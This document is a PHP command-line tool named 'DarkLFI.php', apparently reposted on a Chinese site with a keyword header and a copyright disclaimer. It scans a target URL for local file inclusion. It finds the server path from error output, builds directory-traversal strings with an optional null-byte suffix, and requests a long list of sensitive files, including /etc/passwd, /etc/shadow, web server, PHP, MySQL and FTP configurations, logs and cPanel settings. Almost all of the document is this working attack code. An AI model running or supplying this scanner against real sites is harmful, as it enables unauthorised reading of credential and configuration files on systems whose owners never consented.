| 关键词: print argv path end Found pass exit else site passwd |
<?php $passwd = array( '../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../etc/passwd%00', ); $file_scan = array( 'etc/passwd', 'etc/shadow', 'etc/group', 'etc/security/group', 'etc/security/passwd', 'etc/security/user', 'etc/passwd%00', 'etc/security/environ', 'etc/security/limits', 'usr/lib/security/mkuser.default', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'etc/httpd/logs/acces_log', 'etc/httpd/logs/acces.log', 'etc/httpd/logs/error_log', 'etc/httpd/logs/error.log', 'var/www/logs/access_log', 'var/www/logs/access.log', 'usr/local/apache/logs/access_ log', 'usr/local/apache/logs/access. log', 'var/log/apache/access_log', 'var/log/apache2/access_log', 'var/log/apache/access.log', 'var/log/apache2/access.log', 'var/log/access_log', 'var/log/access.log', 'var/www/logs/error_log', 'var/www/logs/error.log', 'usr/local/apache/logs/error_log', 'usr/local/apache/logs/error.log', 'var/log/apache/error_log', 'var/log/apache2/error_log', 'var/log/apache/error.log', 'var/log/apache2/error.log', 'var/log/error_log', 'var/log/error.log', 'var/log/httpd/access_log', 'var/log/httpd/error_log', 'var/log/httpd/access_log', 'var/log/httpd/error_log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache2/logs/error.log', 'apache2/logs/access.log', 'apache2/logs/error.log', 'apache2/logs/access.log', 'apache2/logs/error.log', 'apache2/logs/access.log', 'apache2/logs/error.log', 'apache2/logs/access.log', 'apache2/logs/error.log', 'apache2/logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'etc/httpd/logs/acces_log', 'etc/httpd/logs/acces.log', 'etc/httpd/logs/error_log', 'etc/httpd/logs/error.log', 'usr/local/apache/logs/access_log', 'usr/local/apache/logs/access.log', 'usr/local/apache/logs/error_log', 'usr/local/apache/logs/error.log', 'usr/local/apache2/logs/access_log', 'usr/local/apache2/logs/access.log', 'usr/local/apache2/logs/error_log', 'usr/local/apache2/logs/error.log', 'var/www/logs/access_log', 'var/www/logs/access.log', 'var/www/logs/error_log', 'var/www/logs/error.log', 'var/log/httpd/access_log', 'var/log/httpd/access.log', 'var/log/httpd/error_log', 'var/log/httpd/error.log', 'var/log/apache/access_log', 'var/log/apache/access.log', 'var/log/apache/error_log', 'var/log/apache/error.log', 'var/log/apache2/access_log', 'var/log/apache2/access.log', 'var/log/apache2/error_log', 'var/log/apache2/error.log', 'var/log/access_log', 'var/log/access.log', 'var/log/error_log', 'var/log/error.log', 'opt/lampp/logs/access_log', 'opt/lampp/logs/error_log', 'opt/xampp/logs/access_log', 'opt/xampp/logs/error_log', 'opt/lampp/logs/access.log', 'opt/lampp/logs/error.log', 'opt/xampp/logs/access.log', 'opt/xampp/logs/error.log', 'Program Files\Apache Group\Apache\logs\access.log', 'Program Files\Apache Group\Apache\logs\error.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache/logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'logs/error.log', 'logs/access.log', 'etc/httpd/logs/acces_log', 'etc/httpd/logs/acces.log', 'etc/httpd/logs/error_log', 'etc/httpd/logs/error.log', 'var/www/logs/access_log', 'var/www/logs/access.log', 'usr/local/apache/logs/access_log', 'usr/local/apache/logs/access.log', 'var/log/apache/access_log', 'var/log/apache/access.log', 'var/log/access_log', 'var/www/logs/error_log', 'var/www/logs/error.log', 'usr/local/apache/logs/error_log', 'usr/local/apache/logs/error.log', 'var/log/apache/error_log', 'var/log/apache/error.log', 'var/log/access_log', 'var/log/error_log', 'usr/local/apache/conf/httpd.conf', 'usr/local/apache2/conf/httpd.conf', 'etc/httpd/conf/httpd.conf', 'etc/apache/conf/httpd.conf', 'usr/local/etc/apache/conf/httpd.conf', 'etc/apache2/httpd.conf', 'usr/local/apache/conf/httpd.conf', 'usr/local/apache2/conf/httpd.conf', 'usr/local/apache/httpd.conf', 'usr/local/apache2/httpd.conf', 'usr/local/httpd/conf/httpd.conf', 'usr/local/etc/apache/conf/httpd.conf', 'usr/local/etc/apache2/conf/httpd.conf', 'usr/local/etc/httpd/conf/httpd.conf', 'usr/apache2/conf/httpd.conf', 'usr/apache/conf/httpd.conf', 'usr/local/apps/apache2/conf/httpd.conf', 'usr/local/apps/apache/conf/httpd.conf', 'etc/apache/conf/httpd.conf', 'etc/apache2/conf/httpd.conf', 'etc/httpd/conf/httpd.conf', 'etc/http/conf/httpd.conf', 'etc/apache2/httpd.conf', 'etc/httpd/httpd.conf', 'etc/http/httpd.conf', 'etc/httpd.conf', 'opt/apache/conf/httpd.conf', 'opt/apache2/conf/httpd.conf', 'var/www/conf/httpd.conf', 'private/etc/httpd/httpd.conf', 'private/etc/httpd/httpd.conf.default', 'Volumes/webBackup/opt/apache2/conf/httpd.conf', 'Volumes/webBackup/private/etc/httpd/httpd.conf', 'Volumes/webBackup/private/etc/httpd/httpd.conf.default', 'Program Files\Apache Group\Apache\conf\httpd.conf', 'Program Files\Apache Group\Apache2\conf\httpd.conf', 'Program Files\xampp\apache\conf\httpd.conf', 'usr/local/php/httpd.conf.php', 'usr/local/php4/httpd.conf.php', 'usr/local/php5/httpd.conf.php', 'usr/local/php/httpd.conf', 'usr/local/php4/httpd.conf', 'usr/local/php5/httpd.conf', 'Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf', 'Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf', 'Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf', 'Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php', 'Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php', 'Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php', 'usr/local/etc/apache/vhosts.conf', 'etc/php.ini', 'bin/php.ini', 'etc/httpd/php.ini', 'usr/lib/php.ini', 'usr/lib/php/php.ini', 'usr/local/etc/php.ini', 'usr/local/lib/php.ini', 'usr/local/php/lib/php.ini', 'usr/local/php4/lib/php.ini', 'usr/local/php5/lib/php.ini', 'usr/local/apache/conf/php.ini', 'etc/php4.4/fcgi/php.ini', 'etc/php4/apache/php.ini', 'etc/php4/apache2/php.ini', 'etc/php5/apache/php.ini', 'etc/php5/apache2/php.ini', 'etc/php/php.ini', 'etc/php/php4/php.ini', 'etc/php/apache/php.ini', 'etc/php/apache2/php.ini', 'web/conf/php.ini', 'usr/local/Zend/etc/php.ini', 'opt/xampp/etc/php.ini', 'var/local/www/conf/php.ini', 'etc/php/cgi/php.ini', 'etc/php4/cgi/php.ini', 'etc/php5/cgi/php.ini', 'php5\php.ini', 'php4\php.ini', 'php\php.ini', 'PHP\php.ini', 'WINDOWS\php.ini', 'WINNT\php.ini', 'apache\php\php.ini', 'xampp\apache\bin\php.ini', 'NetServer\bin\stable\apache\php.ini', 'home2\bin\stable\apache\php.ini', 'home\bin\stable\apache\php.ini', 'Volumes/Macintosh_HD1/usr/local/php/lib/php.ini', 'usr/local/cpanel/logs', 'usr/local/cpanel/logs/stats_log', 'usr/local/cpanel/logs/access_log', 'usr/local/cpanel/logs/error_log', 'usr/local/cpanel/logs/license_log', 'usr/local/cpanel/logs/login_log', 'usr/local/cpanel/logs/stats_log', 'var/cpanel/cpanel.config', 'var/log/mysql/mysql-bin.log', 'var/log/mysql.log', 'var/log/mysqlderror.log', 'var/log/mysql/mysql.log', 'var/log/mysql/mysql-slow.log', 'var/mysql.log', 'var/lib/mysql/my.cnf', 'etc/mysql/my.cnf', 'etc/my.cnf', 'etc/logrotate.d/proftpd', 'www/logs/proftpd.system.log', 'var/log/proftpd', 'etc/proftp.conf', 'etc/protpd/proftpd.conf', 'etc/vhcs2/proftpd/proftpd.conf', 'etc/proftpd/modules.conf', 'var/log/vsftpd.log', 'etc/logrotate.d/vsftpd.log', 'etc/vsftpd/vsftpd.conf', 'etc/vsftpd.conf', 'var/log/xferlog', 'var/adm/log/xferlog', 'etc/wu-ftpd/ftpaccess', 'etc/wu-ftpd/ftphosts', 'etc/wu-ftpd/ftpusers', 'usr/sbin/pure-config.pl', 'usr/etc/pure-ftpd.conf', 'etc/pure-ftpd/pure-ftpd.conf', 'usr/local/etc/pure-ftpd.conf', 'usr/local/etc/pureftpd.pdb', 'usr/local/pureftpd/etc/pureftpd.pdb', 'usr/local/pureftpd/sbin/pure-config.pl', 'usr/local/pureftpd/etc/pure-ftpd.conf', 'etc/pure-ftpd.conf', 'etc/pure-ftpd/pure-ftpd.pdb', 'etc/pureftpd.pdb', 'etc/pureftpd.passwd', 'etc/pure-ftpd/pureftpd.pdb', 'usr/ports/ftp/pure-ftpd/', 'usr/ports/net/pure-ftpd/', 'usr/pkgsrc/net/pureftpd/', 'usr/ports/contrib/pure-ftpd/', 'var/log/pure-ftpd/pure-ftpd.log', 'logs/pure-ftpd.log', 'var/log/pureftpd.log', 'var/log/ftp-proxy/ftp-proxy.log', 'var/log/ftp-proxy', 'var/log/ftplog', 'etc/logrotate.d/ftp', 'etc/ftphosts', 'var/log/exim_mainlog', 'var/log/exim/mainlog', 'var/log/maillog', 'var/log/exim_paniclog', 'var/log/exim/paniclog', 'var/log/exim/rejectlog', 'var/log/exim_rejectlog', 'etc/httpd/logs/acces_log', 'etc/httpd/logs/acces.log', 'etc/httpd/logs/error_log', 'etc/httpd/logs/error.log', 'usr/local/apache/logs/access_log', 'usr/local/apache/logs/access.log', 'usr/local/apache/logs/error_log', 'usr/local/apache/logs/error.log', 'usr/lib/security/mkuser.default', 'usr/local/apache2/logs/access_log', 'usr/local/apache2/logs/access.log', 'usr/local/apache2/logs/error_log', 'usr/local/apache2/logs/error.log', 'apache/logs/access.log', 'apache/logs/error.log', 'apache2/logs/error.log', 'apache2/logs/access.log', 'var/www/logs/access_log', 'var/www/logs/access.log', 'var/log/apache/access_log', 'var/log/apache2/access_log', 'var/log/apache/access.log', 'var/log/apache2/access.log', 'var/www/logs/error_log', 'var/www/logs/error.log', 'var/log/access_log', 'var/log/access.log', 'var/log/apache/error_log', 'var/log/apache2/error_log', 'var/log/apache/error.log', 'var/log/apache2/error.log', 'var/log/error_log', 'var/log/error.log', 'var/log/httpd/access_log', 'var/log/httpd/error_log', 'var/log/httpd/access.log', 'var/log/httpd/error.log', 'opt/lampp/logs/access_log', 'opt/lampp/logs/error_log', 'opt/xampp/logs/access_log', 'opt/xampp/logs/error_log', 'opt/lampp/logs/access.log', 'opt/lampp/logs/error.log', 'opt/xampp/logs/access.log', 'opt/xampp/logs/error.log', ); $match = array('root','GET \/ HTTP','Global Environment','magic_quotes_gpc','NamevirtualHost','ProFTPD'); if($argc < 3) { print "[+] LFI Path Scanner - DarkLFI.php\n"; print "[+] Usage: $argv[0] <site> <type> <end>\n"; print "[+] Example: $argv[0] http://site.com/file.php?path= 1 1\n"; exit; } if($argv[2] != '0' && $argv[2] != '1') { print "[+] Wrong type entered\n"; print "0 and 1 only\n"; exit; } if($argv[2] == '1') { $error = 1; } else { $error = 0; } if($argv[3] != '0' && $argv[3] != '1') { print "[+] Wrong end entered\n"; print "0 and 1 only\n"; exit; } if($argv[3] == '1') { $end = '%00'; } else { $end = ''; } if($error == '1') { print "Detecting Path...\n"; if(preg_match("/No such file or directory in <b>(.*?)<\/b>/", open_site($argv[1]."'"), $path)) { print "[+] Found Path [ $path[1] ]\n"; } else { print "[+] Path not found...\n"; exit; } $p = explode("/", $path[1]); $cd = count($p)-2; for($i = 1; $i <= $cd; $i++) { $real .= "../"; } print "[+] LFI Path Count: $cd\n"; print "[+] LFI Directory : $real\n"; print "[+] Start LFI Scanning...\n"; foreach($file_scan as $path) { if(!preg_match("/<b>Warning<\/b>:/", open_site($argv[1].$real.$path.$end))) { print "[+] Found LFI [ ".$argv[1].$real.$path.$end." ]\n"; } } } else { print "[+] Finding /etc/passwd path...\n"; foreach($passwd as $pass) { if(preg_match("/root:x:/", open_site($argv[1].$pass.$end))) { print "[+] /etc/passwd Found [ ".$argv[1].$pass." ]\n"; } } $p = explode("/", $pass); $cd = count($p)-2; for($i = 1; $i <= $cd; $i++) { $real .= "../"; } print "[+] LFI Path Count: $cd\n"; print "[+] LFI Directory : $real\n"; print "[+] Start LFI Scanning...\n"; foreach($file_scan as $file) { foreach($match as $list) { if(preg_match("/$list/", open_site($argv[1].$real.$file.$end))) { print "[+] LFI Found [ ".$argv[1].$real.$file.$end." ]\n"; } } } } function open_site($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_URL, $url); $result = curl_exec($ch); return $result; } ?> |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|